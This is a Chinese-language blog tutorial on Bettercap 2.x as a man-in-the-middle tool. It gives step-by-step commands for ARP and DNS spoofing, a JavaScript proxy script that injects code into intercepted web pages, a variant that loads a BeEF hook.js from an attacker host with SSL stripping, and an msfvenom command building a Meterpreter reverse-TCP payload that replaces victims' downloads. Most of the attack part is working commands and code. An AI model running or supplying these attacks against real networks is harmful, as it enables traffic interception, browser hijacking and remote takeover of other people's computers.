目录

Bettercap

安装

ARP欺骗

DNS 欺骗

注入脚本

结合Beef-XSS

替换下载文件


Bettercap

很多人应该都听过或者用过Ettercap,这是Kali下一款优秀的ARP欺骗的工具,可是由于它自从2015年开始就没有更新了。所以,即使软件再好,不更新的话,也还是不会得到使用者的青睐。我们今天要讲的就是ettercap的继承者Bettercap。

Ettercap有两个大的版本,一个是1.X的版本,另一个是2.X的版本。两个版本之间命令完全不一样,架构也重新变了。2.X版本的采用go语言编写的,很多人说2.X版本的比1.X版本的难使用多了。1.X版本的简单易使用,2.X版本的确实有点不易使用。所以,今天我们就简单讲讲Bettercap2.X版本的使用

版本:Bettercap2.1

安装

apt-get  install  bettercap
bettercap #开启bettercap,默认是开启的eth0网卡,如果想开启其他网卡,比如无线网卡wlan0,可以bettercap iface wlan0

安装完之后我们就可以打开了,打开之后会列出局域网中存活的主机。最前面的192.168.10.25的是我们自己的主机,网段是192.168.10.0/24

我们输入:help  查看bettercap的用法

下面的一些功能的解释

  • help  模块名称    :显示指定模块的帮助
  • active:    显示当前运行中的模块的信息
  • quit :  结束会话并退出
  • sleep 秒数:    休眠指定的秒数(和shell中的sleep一样)
  • get 变量:    获取变量的值
  • set 变量  值 :   设置变量的值(有些模块有自定义变量,比如可用net.sniff.output变量指定嗅探器的输出的保存路径)
  • read 变量 提示:    显示提示来让用户输入,输入内容会被储存在变量中
  • clear:    清屏
  • include CAPLET:    在当前会话读取并运行这个caplet
  • ! 命令 :  运行相应的shell命令并显示输出
  • alias MAC地址 别名: 给MAC地址设置一个别名

一些常用模块

  • api.rest:RESTful API模块
  • net.recon :主机发现模块,用于发现局域网内存活的主机,默认是开启的
  • arp.spoof:arp欺骗模块
  • ble.recon:低功耗蓝牙设备发现模块
  • net.sniff : 网络嗅探模块
  • dhcp6.spoof:dhcp6欺骗模块(通过伪造DHCP数据包篡改客户端的DNS服务器,因此需要与dns.spoof一并启用)
  • dns.spoof:DNS欺骗模块
  • events.stream:串流输出模块(就是不断地在终端界面刷出程序的输出,例如arp截获的信息)
  • wifi:wifi模块,有deauth攻击(wifi杀手)和创建软ap的功能

我们可以使用 net.recon 模块的 net.show  列出局域网内存活的主机的信息

ARP欺骗

我们现在用 bettercap 来进行ARP欺骗,先看看arp.spoof这个模块怎么用。输入:help  arp.spoof

  • arp.spoof  on : 开启ARP欺骗
  • arp.ban  on : 开启ARP欺骗,用ban模式,这就意味着目标将不能上网,也就是断网攻击
  • arp.spoof off :停止ARP欺骗
  • arp.ban off :  停止ARP欺骗

参数:

  • arp.spoof.internal:如果为true,那么网络中的计算机之间的本地连接将被欺骗,否则只能连接到来自外部网络(默认为false)
  • arp.spoof.targets:要欺骗的目标,可以是 ip 、mac 或者 别名 ,也可以支持nmap形式的ip区域
  • arp.spoof.whitelist:白名单,就是不欺骗的目标,可以是ip、mac或者别名

对于参数,我们可以get和set。

set arp.spoof.targets  192.168.10.2,192.168.10.14   #我们设置攻击目标,用逗号分隔。分别欺骗网关(192.168.10.2)和要欺骗的主机(192.168.10.14是我另外一台主机),这里也可以是一个网段,如:192.168.10-20
get arp.spoof.targets #获取arp.spoof.targets的值

设置好了参数之后,我们就可以开启ARP欺骗了:arp.spoof  on

DNS 欺骗

dns欺骗这里有一个前提,那就是局域网内的主机的DNS服务器是局域网内的网关,那样我们才能进行DNS欺骗,如果DNS服务器设置的是公网的DNS服务器,比如设置的谷歌的8.8.8.8 DNS服务器的话,这样是不能进行DNS欺骗的。

DNS欺骗之前,我们先得进行ARP欺骗,就是先欺骗主机让其认为网关就是我(攻击机)。然后由于主机的DNS服务器就是网关,所以主机会向我们发送DNS请求,这样我们就可以进行欺骗了。

set arp.spoof.targets 192.168.10.2,192.168.10.14
arp.spoof on #先开启arp欺骗
set dns.spoof.domains www.baidu.com,www,taobao.com #设置要欺骗的域名,多个域名用,分开,如果要欺骗所有的域名的话,为 *
set dns.spoof.address 3.3.3.3 #设置将要欺骗的域名转换成对应的ip地址
dns.spoof on #开启dns欺骗,www.baidu.com和www.taobao.com对应的ip是3.3.3.3

可以看到,已经欺骗成功了

还有一种方法

我们可以在打开bettercap的目录创建一个文件host,文件中存放这要欺骗的域名和地址,如下

1.1.1.1 www.baidu.com
2.2.2.2 www.taobao.com
3.3.3.3 www.mi.com

然后我们进行DNS欺骗的时候只需要设置arp.spoof.hosts这个参数即可

#之前我们得先进行arp欺骗
set dns.spoof.hosts host #设置dns.spoof.hosts里面存放这要欺骗的域名和欺骗后的地址,在bettercap打开的目录下
dns.spoof on #开启dns欺骗

很明显,已经欺骗成功了!

注入脚本

通过进行ARP欺骗,我们可以拦截到流量,自然,我们就可以对拦截到的流量进行操作。我们可以对包内的http协议的数据包进行代理,然后往里面注入恶意脚本

set arp.spoof.targets 192.168.10.13,192.168.10.2    #设置arp欺骗的目标
set http.proxy.script /root/1.js #往http流量中注入脚本
set https.proxy.script /root/1.js http.proxy on #开启HTTP代理
https.proxy on
arp.spoof on #开启ARP欺骗 ##/root/1.js
function onResponse(req,res){
if(res.ContentType.indexOf('text/html')==0){
var body=res.ReadBody();
if(body.indexOf('</head>')!=-1){
res.Body=body.replace(
'</head>',
'<script type="text/javascript">alert("your computer has hacked!")</script></head>'
);
}
}
}

我们用靶机访问一个http和https协议的站点,可以看到,脚本已经注入请求的网页中了。

结合Beef-XSS

既然我们可以注入js脚本文件,那么我们就可以利用beef来对目标浏览器进行控制

set arp.spoof.targets 192.168.10.13,192.168.10.2    #设置arp欺骗的目标
set http.proxy.script /root/test.js #往http流量中注入脚本/root/test.js
set http.proxy.sslstrip true #启用SSL剥离 http.proxy on #开启HTTP代理
arp.spoof on #开启ARP欺骗 #test.js内容
function onResponse(req,res){
if(res.ContentType.indexOf('text/html')==0){
var body=res.ReadBody();
if(body.indexOf('</head>')!=-1){
res.Body=body.replace(
'</head>',
'<script type="text/javascript" src="http://192.168.10.27:3000/hook.js"></script></head>'
);
}
}
}

可以看到,我们的js代码已经插入网页中了

那我们就可以利用beef对目标浏览器进行很多操作了!

替换下载文件

在bettercap中,有一种文件后缀叫.cap,我们启动bettercap的时候可以指定该.cap文件,就会按照该.cap文件执行命令。

我们进入bettercap后,可以使用命令 caplets.update 更新.cap文件,然后使用命令 caplets.show 查看.cap文件有哪些。

我们这次替换下载文件,使用的是 download-autopwn.cap 文件。我们先到该文件的目录下,因为我们要欺骗的是windows系统的主机,所以我们先到该目录的windows目录下,生成一个payload.exe文件,然后退回到上一个目录,执行启动命令

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.11 lport=8888 -f exe -o payload.exe
bettercap -caplet download-autopwn.cap

相关文章:Beef-XSS和MSF的利用

Bettercap2.X版本的使用的更多相关文章

  1. 【渗透实战】记一次艰难的内网漫游第四期_蹭我WIFI?看我如何利用组合拳日进蹭网者内网

    /文章作者:Kali_MG1937 CSDN博客ID:ALDYS4 QQ:3496925334/ 内网漫游系列第三期:[渗透实战]记一次艰难的内网漫游第三期_我是如何利用APT攻击拿到内网最高权限的 ...

  2. 新版本的bettercap不好用, 如何安装和编译旧版本的bettercap

    新版本的bettercap2.0以上是用go语言写的, 各种功能感觉还不太完善, 没有原来的用ruby写的好, 想着回退安装bettercap1.6旧版本 系统环境: kali 2017.2 下载源码 ...

  3. 【工具解析】瑞士军刀bettercap2.X解析_第一期_编写HTTP代理注入模块_http(s).proxy.script

    /文章作者:Kali_MG1937 CNBLOG博客号:ALDYS4 QQ:3496925334/ 前言 bettercap已经从1.6更新至2.0版本 语言也从ruby改为了go 编写注入模块指定的 ...

  4. 【AR实验室】OpenGL ES绘制相机(OpenGL ES 1.0版本)

    0x00 - 前言 之前做一些移动端的AR应用以及目前看到的一些AR应用,基本上都是这样一个套路:手机背景显示现实场景,然后在该背景上进行图形学绘制.至于图形学绘制时,相机外参的解算使用的是V-SLA ...

  5. ABP入门系列(2)——通过模板创建MAP版本项目

    一.从官网创建模板项目 进入官网下载模板项目 依次按下图选择: 输入验证码开始下载 下载提示: 二.启动项目 使用VS2015打开项目,还原Nuget包: 设置以Web结尾的项目,设置为启动项目: 打 ...

  6. 理解Maven中的SNAPSHOT版本和正式版本

    Maven中建立的依赖管理方式基本已成为Java语言依赖管理的事实标准,Maven的替代者Gradle也基本沿用了Maven的依赖管理机制.在Maven依赖管理中,唯一标识一个依赖项是由该依赖项的三个 ...

  7. MIP 官方发布 v1稳定版本

    近期,MIP官方发布了MIP系列文件的全新v1版本,我们建议大家尽快完成升级. 一. 我是开发者,如何升级版本? 对于MIP页面开发者来说,只需替换线上引用的MIP文件为v1版本,就可以完成升级.所有 ...

  8. 终于等到你:CYQ.Data V5系列 (ORM数据层)最新版本开源了

    前言: 不要问我框架为什么从收费授权转到免费开源,人生没有那么多为什么,这些年我开源的东西并不少,虽然这个是最核心的,看淡了就也没什么了. 群里的网友:太平说: 记得一年前你开源另一个项目的时候我就说 ...

  9. DBImport V3.7版本发布及软件稳定性(自动退出问题)解决过程分享

    DBImport V3.7介绍: 1:先上图,再介绍亮点功能: 主要的升级功能为: 1:增加(Truncate Table)清表再插入功能: 清掉再插,可以保证两个库的数据一致,自己很喜欢这个功能. ...

随机推荐

  1. BIMFACE二次开发【C#系列】

    本系列文章主要介绍使用 C# .ASP.NET(MVC)技术对 BIMFACE 平台进行二次开发,以满足本公司针对建筑行业施工图审查系统的业务需求,例如图纸模型(PDF 文件.二维 CAD 模型.三维 ...

  2. 简历求职:STAR法则

    做了近2年的大学生就业辅导工作,也接触了很多即将走出校园的大学生,做个总结与大家分享,同时也是对自己的一个总结. 最近刚听说STAR法则,这也是一直我们给学生的指导思想,百度了一下: STAR法则,即 ...

  3. 安装RPM包或者源码包

    RPM工具 RPM他是以一种数据库记录的方式将我们所需要的套件安装到linux主机的一套管理程序关于RPM各个选项的含义如下-i:表示安装-v:表示可视化-h:表示安装进度在安装RPM包时,常用的附带 ...

  4. SpringCloud 中 Feign 调用使用总结

    最近做微服务架构的项目,在用 feign 来进行服务间的调用.在互调的过程中,难免出现问题,根据错误总结了一下,主要是请求方式的错误和接参数的错误造成的.在此进行一下总结记录. 以下通过分为三种情况说 ...

  5. ssh 免登录配置

    引子 近日海淘了一个 mini-PC:Gigabyte GB-BSRE-1605,此设备虽采用 amd 嵌入式低功耗处理器,性能相比现在自己所用的设备却有不小提升,加上先前升级电脑多余一些 ssd 和 ...

  6. UML第二部分和创建型模式

    状态机视图通过对每个类的对象的生命期进行建模 描述了对象时间上的动态行为 .状态指就某个特定类而言 对于发生的事件具有相同性质响应的一系列对象值.状态机不但可以描述类的行为 而且可以描述用例 协作和方 ...

  7. Spring Boot 轻量替代框架 Solon 1.3.15 发布

    Solon 是一个微型的Java开发框架.项目从2018年启动以来,参考过大量前人作品:历时两年,4000多次的commit:内核保持0.1m的身材,超高的跑分,良好的使用体验.支持:RPC.REST ...

  8. mysql中FIND_IN_SET函数用法

    本篇文章主要介绍mysql中FIND_IN_SET函数用法,用来精确查询字段中以逗号分隔的数据 以及其与 like 和 in 的区别 1.问题发现 之前在做工作任务时有这么一个需求:需要用接口所传的服 ...

  9. [矩阵乘法]斐波那契数列IV

    [ 矩 阵 乘 法 ] 裴 波 拉 契 数 列 I V [矩阵乘法]裴波拉契数列IV [矩阵乘法]裴波拉契数列IV Description 求数列f[n]=f[n-2]+f[n-1]+n+1的第N项, ...

  10. 关于Vim/Neovim/SpaceVim的一些思考

    1 前言 最近看到了Neovim以及SpaceVim,于是上手试了一下. 2 Neovim与SpaceVim Neovim是Vim的一个分支,具有更加现代的GUI.嵌入式以及脚本化的终端.异步工作控制 ...